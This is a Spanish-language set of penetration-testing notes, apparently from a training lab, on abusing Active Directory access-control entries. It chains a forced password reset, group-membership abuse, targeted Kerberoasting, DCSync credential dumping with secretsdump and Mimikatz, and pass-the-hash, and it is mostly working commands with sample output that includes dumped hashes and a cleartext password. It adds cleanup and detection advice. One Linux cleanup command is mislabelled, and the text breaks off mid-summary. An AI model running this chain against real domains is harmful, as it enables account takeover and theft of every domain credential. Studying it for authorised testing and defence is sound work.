Access Control Entries (ACEs) - Abuso y Enumeración
Links: ForceChangePassword - BloodHound | GenericWrite - BloodHound | GenericAll - BloodHound | Microsoft LAPS | PowerView | dacledit.py | BloodHound.py | Rubeus | Impacket secretsdump.py
Resumen de ACEs abusables y su herramienta de explotación
ForceChangePassword→ abusado conSet-DomainUserPasswordAdd Members→ abusado conAdd-DomainGroupMemberGenericAll→ abusado conSet-DomainUserPasswordoAdd-DomainGroupMemberGenericWrite→ abusado conSet-DomainObjectWriteOwner→ abusado conSet-DomainObjectOwnerWriteDACL→ abusado conAdd-DomainObjectAclAllExtendedRights→ abusado conSet-DomainUserPasswordoAdd-DomainGroupMemberAddSelf→ abusado conAdd-DomainGroupMember
Contexto técnico de cada derecho
ForceChangePassword — Permite resetear la contraseña de un usuario sin conocer la contraseña actual. Debe usarse con precaución en engagements reales; consultar con el cliente antes de resetear contraseñas de producción.
GenericWrite — Permite escribir en cualquier atributo no protegido de un objeto. Sobre un usuario, permite asignar un SPN y ejecutar Kerberoasting dirigido (basado en que la cuenta objetivo tenga contraseña débil). Sobre un grupo, permite agregarse a sí mismo u otro principal de seguridad. Sobre un objeto computer, permite configurar RBCD (Resource-Based Constrained Delegation).
AddSelf — Indica los grupos de seguridad a los que un usuario puede agregarse a sí mismo (equivalente al derecho Self-Membership).
GenericAll — Control total sobre el objeto. Sobre usuario/grupo permite modificar membresía, forzar cambio de contraseña, o Kerberoasting dirigido. Sobre un objeto computer con LAPS habilitado, permite leer la contraseña de administrador local — útil para movimiento lateral o escalada si se logra acceso privilegiado en algún punto de la cadena.
ACL Enumeration
Enumerar ACLs interesantes con PowerView
Import-Module .\PowerView.ps1
Find-InterestingDomainAclOutput real de ejemplo
ObjectDN : DC=DOMAIN,DC=LOCAL
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : ab721a53-1e2f-11d0-9819-00aa0040529b
AceFlags : ContainerInherit
AceType : AccessAllowedObject
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass : group
ObjectDN : DC=DOMAIN,DC=LOCAL
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : 00299570-246d-11d0-a768-00aa006e0529
AceFlags : ContainerInherit
AceType : AccessAllowedObject
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass : group
<SNIP>Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wleyUsando Get-DomainObjectACL
Con esta función se busca todos los objetos de dominio sobre los que el usuario controlado tiene derechos, mapeando el SID del usuario ($sid) contra la propiedad SecurityIdentifier, que indica quién tiene el derecho sobre un objeto. Sin la bandera -ResolveGUIDs, el derecho ExtendedRight no da una imagen clara de qué ACE tiene wley sobre damundsen, porque ObjectAceType devuelve un GUID no legible.
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}Output real de ejemplo
ObjectDN : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1176
ActiveDirectoryRights : ExtendedRight
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 256
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1181
AceType : AccessAllowedObject
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : NoneBúsqueda inversa: mapear un GUID a su nombre legible
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | flOutput real de ejemplo
Name : User-Force-Change-Password
DisplayName : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=LOCAL
rightsGuid : 00299570-246d-11d0-a768-00aa006e0529En caso de fallar por conflicto de nombres con PowerView, usar la ruta completa del módulo:
ActiveDirectory\Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | flUsando el flag -ResolveGUIDs
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}Output real de ejemplo
AceQualifier : AccessAllowed
ObjectDN : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0Ahora ObjectAceType muestra directamente User-Force-Change-Password en lugar del GUID crudo.
Enumeración con cmdlets nativos (Get-Acl / Get-ADUser)
Generar una lista de usuarios del dominio
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txtLoop foreach útil: buscar permisos de wley sobre todos los usuarios del dominio
foreach($line in [System.IO.File]::ReadLines("C:\Users\test\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'DOMAIN\\wley'}}Output real de ejemplo
Path : Microsoft.ActiveDirectory.Management.dll\ActiveDirectory:://RootDSE/CN=Dana
Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
InheritanceType : All
ObjectType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : ObjectAceTypePresent
AccessControlType : Allow
IdentityReference : DOMAIN\wley
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : NoneEnumeración recursiva de cadenas de ataque (grupo anidado) — Walkthrough completo
Cuando un derecho está asignado a un grupo (no directamente a un usuario), hay que investigar la cadena de membresía completa. Este es el flujo completo tal como se identificó en el ejemplo original: wley → damundsen (ForceChangePassword) → damundsen tiene GenericWrite sobre el grupo Help Desk Level 1 → ese grupo es miembro de Information Technology → ese grupo tiene GenericAll sobre adunn → adunn tiene derechos de replicación (DCSync) sobre el dominio.
Paso 1 - Verificar derechos adicionales de damundsen
$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -VerboseOutput real de ejemplo
AceType : AccessAllowed
ObjectDN : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask : 131132
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAlloweddamundsen tiene GenericWrite sobre el grupo Help Desk Level 1.
Paso 2 - Investigar el grupo Help Desk Level 1
Get-DomainGroup -Identity "Help Desk Level 1" | select memberofOutput real de ejemplo
memberof
--------
CN=Information Technology,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCALHelp Desk Level 1 es a su vez miembro de Information Technology.
Paso 3 - Verificar los derechos del grupo Information Technology
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -VerboseOutput real de ejemplo
AceType : AccessAllowed
ObjectDN : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1164
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-4016
AccessMask : 983551
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowedInformation Technology tiene GenericAll sobre Angela Dunn (adunn) — cuenta de Server Admin.
Paso 4 - Buscar derechos críticos de adunn (DCSync)
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -VerboseOutput real de ejemplo
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
<SNIP>Cadena de ataque completa confirmada: wley (ForceChangePassword) → resetea password de damundsen → damundsen (GenericWrite) → se agrega a Help Desk Level 1 → hereda membresía de Information Technology → (GenericAll) sobre adunn → adunn tiene DS-Replication-Get-Changes + DS-Replication-Get-Changes-All → DCSync completo del dominio.
Queries filtradas por derecho específico
ForceChangePassword
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "User-Force-Change-Password" }GenericWrite
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericWrite" }AddSelf (Self-Membership)
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "Self-Membership" }GenericAll
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericAll" }Equivalente de enumeración desde Linux
PowerView es exclusivo de Windows. Desde Linux, la enumeración equivalente se hace con:
Con dacledit.py
python3 examples/dacledit.py -principal wley -target damundsen -dc-ip 172.16.5.5 DOMAIN.local/wley:'<password>'Con BloodHound.py (recolección completa para análisis en grafo)
bloodhound-python -u wley -p '<password>' -d DOMAIN.local -ns 172.16.5.5 -c AllCargar los .json generados en BloodHound GUI para navegar la misma cadena de ataque (wley → damundsen → Help Desk Level 1 → Information Technology → adunn → DCSync) de forma visual, con correlación automática de membresía de grupos (a diferencia de dacledit.py, que no correlaciona grupos).
Con ldapsearch (verificación puntual de un GUID/derecho)
ldapsearch -x -H ldap://172.16.5.5 -D "wley@DOMAIN.local" -w '<password>' -b "CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=local" "(rightsGuid=00299570-246d-11d0-a768-00aa006e0529)" displayNameACL Abuse Tactics
ForceChangePassword
Crear un objeto PSCredential con las credenciales de wley
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\wley', $SecPassword)Crear el SecureString de la nueva contraseña para damundsen
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -ForceEjecutar el reset de contraseña
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -VerboseOutput real de ejemplo
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully resetValidar las nuevas credenciales
netexec smb 10.129.2.161 -u damundsen -p 'Pwn3d_by_ACLs!'Output real de ejemplo
SMB 10.129.2.161 445 ACADEMY-EA-MS01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-MS01) (domain:DOMAIN.LOCAL) (signing:False) (SMBv1:None)
SMB 10.129.2.161 445 ACADEMY-EA-MS01 [+] DOMAIN.LOCAL\damundsen:Pwn3d_by_ACLs! (Pwn3d!)Cambiar de usuario en la sesión Windows actual
runas /user:DOMAIN\damundsen powershellEnter the password for DOMAIN\damundsen:
Attempting to start powershell as user "DOMAIN\damundsen" ...GenericWrite (agregar a un grupo)
Crear el objeto SecureString usando damundsen
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('DOMAIN\damundsen', $SecPassword)Verificar miembros actuales del grupo Help Desk Level 1
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty MembersOutput real de ejemplo
CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
.
.
.
LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCALAgregar a damundsen al grupo Help Desk Level 1
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -VerboseOutput real de ejemplo
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'Confirmar que damundsen fue agregado
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberNameOutput real de ejemplo
MemberName
----------
busucher
spergazed
<SNIP>
damundsen
dpayneGenericAll (Targeted Kerberoasting sobre adunn)
Crear un SPN falso para adunn
Para Kerberoastear a un usuario, debe tener al menos un SPN asociado. Se crea un SPN falso para que el DC piense que es una cuenta de servicio kerberoasteable.
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -VerboseKerberoastear con Rubeus
.\Rubeus.exe kerberoast /user:adunn /nowrapOutput real de ejemplo
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target User : adunn
[*] Target Domain : DOMAIN.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : adunn
[*] DistinguishedName : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
[*] ServicePrincipalName : notahacker/LEGIT
[*] PwdLastSet : 3/1/2022 11:29:08 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*adunn$DOMAIN.LOCAL$notahacker/LEGIT@DOMAIN.LOCAL*$ <SNIP>Equivalente desde Linux (targetedKerberoast.py)
targetedKerberoast.py -d DOMAIN.local -u damundsen -p 'Pwn3d_by_ACLs!' --request-user adunn --dc-ip 172.16.5.5Crackear el hash obtenido (Linux o Windows)
hashcat -m 13100 adunn_hash.txt /usr/share/wordlists/rockyou.txtCleanup
- Eliminar el SPN falso creado para
adunn. - Eliminar a
damundsendel grupoHelp Desk Level 1. - Restablecer la contraseña de
damundsena su valor original (si se conoce), o coordinar con el cliente para que el usuario legítimo la cambie.
Eliminar el SPN falso de adunn
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -VerboseOutput real de ejemplo
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'DOMAIN' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'Expulsar a damundsen del grupo Help Desk Level 1
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -VerboseOutput real de ejemplo
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
TrueConfirmar que damundsen fue excluido del grupo
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -VerboseEquivalente de cleanup desde Linux
# Eliminar SPN falso vía LDAP
python3 examples/dacledit.py -action write -rights ResetPassword -principal damundsen -target adunn -dc-ip 172.16.5.5 DOMAIN.local/damundsen:'Pwn3d_by_ACLs!'
# Remover de grupo con net rpc
net rpc group delmem "Help Desk Level 1" damundsen -U DOMAIN.local/damundsen%'Pwn3d_by_ACLs!' -S 172.16.5.5Detección y Remediación
Auditar y remover ACLs peligrosas — Auditorías periódicas de Active Directory; capacitar personal interno en el uso de BloodHound para identificar ACLs potencialmente peligrosas que se pueden eliminar.
Monitorear membresía de grupos — Visibilidad sobre todos los grupos de alto impacto en el dominio; alertar al personal de TI sobre cambios que podrían indicar una cadena de ataque de ACL.
Auditar y monitorear cambios de ACL — Habilitar la política de auditoría de seguridad avanzada para detectar cambios no deseados, especialmente el Event ID 5136: Se modificó un objeto de servicio de directorio, que indica que se modificó un objeto de dominio — potencialmente indicativo de un ataque de ACL.
DCSync
DCSync es una técnica para robar la base de datos de contraseñas de Active Directory mediante la función integrada Directory Replication Service Remote (DRS) Protocol que utilizan los controladores de dominio para replicar los datos del dominio entre sí. Esto permite a un atacante suplantar la identidad de un controlador de dominio para recuperar los hashes NTLM de las contraseñas de los usuarios.
Links: DCSync - The Hacker Recipes | Mimikatz
La clave del ataque reside en solicitar a un controlador de dominio que replique contraseñas mediante el derecho extendido DS-Replication-Get-Changes-All. Este es un derecho de control de acceso extendido dentro de Active Directory que permite la replicación de datos confidenciales.
Continuando el walkthrough: usando adunn para DCSync
Verificar membresía y UAC de adunn
Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | flOutput real de ejemplo
samaccountname : adunn
objectsid : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Shared Calendar
Read,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Printer Access,OU=Security
Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=File Share H Drive,OU=Security
Groups,OU=Corp,DC=DOMAIN,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORDVerificar los derechos de replicación de adunn con Get-ObjectAcl
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=DOMAIN,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | flOutput real de ejemplo
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType : DS-Replication-Get-Changes
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType : DS-Replication-Get-Changes-All
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes
AceQualifier : AccessAllowed
ObjectDN : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes-Alladunn (SID terminado en -1164) tiene ambos derechos necesarios: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All — DCSync completo confirmado.
Extraer hashes NTLM y claves Kerberos con secretsdump.py
secretsdump.py -outputfile DOMAIN_hashes -just-dc DOMAIN/adunn@172.16.5.5Output real de ejemplo
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
DOMAIN.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
DOMAIN.local\test:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
DOMAIN.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
<SNIP>
d0wngrade:des-cbc-md5:d6fee0b62aa410fe
d0wngrade:dec-cbc-crc:d6fee0b62aa410fe
ACADEMY-EA-FILE$:des-cbc-md5:eaef54a2c101406d
svc_qualys:des-cbc-md5:f125ab34b53eb61c
forend:des-cbc-md5:e3c14adf9d8a04c1
[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...Variantes útiles de secretsdump.py
# Solo un usuario específico (más rápido, menos ruidoso)
secretsdump.py -just-dc-user krbtgt DOMAIN/adunn:'<password>'@172.16.5.5
# Solo hashes NTLM sin el NTDS completo
secretsdump.py -just-dc-ntlm DOMAIN/adunn:'<password>'@172.16.5.5
# Con hash NTLM de adunn en vez de contraseña
secretsdump.py -hashes :<NTHASH_adunn> -just-dc DOMAIN/adunn@172.16.5.5Listar los archivos generados
ls DOMAIN_hashes*DOMAIN_hashes.ntds DOMAIN_hashes.ntds.cleartext DOMAIN_hashes.ntds.kerberosBuscar cuentas con Reversible Encryption (contraseñas en texto claro)
Con Get-ADUser (Windows)
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControlOutput real de ejemplo
DistinguishedName : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=DOMAIN,DC=LOCAL
Enabled : True
GivenName :
Name : PROXYAGENT
ObjectClass : user
ObjectGUID : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName : proxyagent
SID : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname :
userAccountControl : 640
UserPrincipalName :Con Get-DomainUser (PowerView)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrolOutput real de ejemplo
samaccountname useraccountcontrol
-------------- ------------------
proxyagent ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNTEquivalente desde Linux (LDAP)
ldapsearch -x -H ldap://172.16.5.5 -D "adunn@DOMAIN.local" -w '<password>' -b "DC=DOMAIN,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountNameO con netexec:
netexec ldap 172.16.5.5 -u adunn -p '<password>' --query "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountNameMostrar la contraseña en claro extraída
cat DOMAIN_hashes.ntds.cleartextOutput real de ejemplo
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!Ejecutar DCSync desde Windows con Mimikatz
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administratorOutput real de ejemplo
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator
[DC] 'DOMAIN.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.DOMAIN.LOCAL' will be the DC server
[DC] 'DOMAIN\administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : administrator
User Principal Name : administrator@DOMAIN.local
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID : 500
Credentials:
Hash NTLM: 88ad09182de639ccc6579eb0849751cf
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4625fd0c31368ff4c255a3b876eaac3d
<SNIP>DCSync de krbtgt para verificación rápida de acceso
mimikatz.exe "lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt /csv" exitUsar las credenciales extraídas
Pass-the-Hash con el NTLM del Administrator
psexec.py administrator@172.16.5.5 -hashes :88ad09182de639ccc6579eb0849751cfCon evil-winrm
evil-winrm -i 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cfCon netexec para verificar acceso
netexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cfResumen del flujo completo (walkthrough end-to-end)
wleytieneForceChangePasswordsobredamundsen→ resetear su contraseña conSet-DomainUserPassworddamundsentieneGenericWritesobre el grupoHelp Desk Level 1→ agregarse conAdd-DomainGroupMemberHelp Desk Level 1es miembro deInformation Technology, que tieneGenericAllsobreadunn- Con
